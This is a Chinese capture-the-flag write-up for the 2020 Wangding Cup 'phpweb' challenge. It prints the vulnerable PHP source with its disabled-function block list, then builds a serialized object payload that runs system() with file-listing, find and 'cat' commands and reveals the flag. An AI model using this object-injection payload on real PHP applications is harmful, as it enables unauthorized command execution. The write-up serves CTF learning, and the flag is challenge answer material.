[网鼎杯 2020 朱雀组]phpweb
前置知识:
这前置知识都是老演员了
序列化简介:
简单讲,序列化其实就是将数据转换成一种可逆的数据结构,自然,逆向的过程就是反序列化。
举个例子:
现在我们都会在淘宝上买桌子,桌子这种很不规则的东西,该怎么从一个城市运输等到另一个城市,这时候一般都会把他拆掉成板子,再装到箱子里面,就可以快递出去了,这个过程就类似我们的序列化的过程(把数据转化为可以存储或者传传输的形式)。
反序列化
当买家收到货以后,就需要自己把这些板子组装成桌字的样子,这个过程就像反序列化的过程(转化成当初的数据对象)。
打开连接过一会发现报错了,抓个包试试
发现POST返回中有两个参数func猜测是function ,p是pyload
使用函数file_get_contents来获取index.php源码
下面展示代码 源码
。
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
源码审计发现很多函数都被禁用了最难受的是禁用了system
但是还有file_get_contents、cat、serialize
serialize这里就很重要了因为源码中提供了class类
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
p参数有传了三个值,构造pyload运行如下:
<?php
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$a = new Test();
$a->p = "ls ../../../";
$a->p = "find / -name 'flag*'";
$a->p = "cat /tmp/flagoefiu4r93";
$a->func = 'system';
echo (serialize($a));
?>
//运行结果
O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}
抓包发送pyload得flag
flag:
flag{deae5b74-dec2-4b19-b161-35a8185a1f94}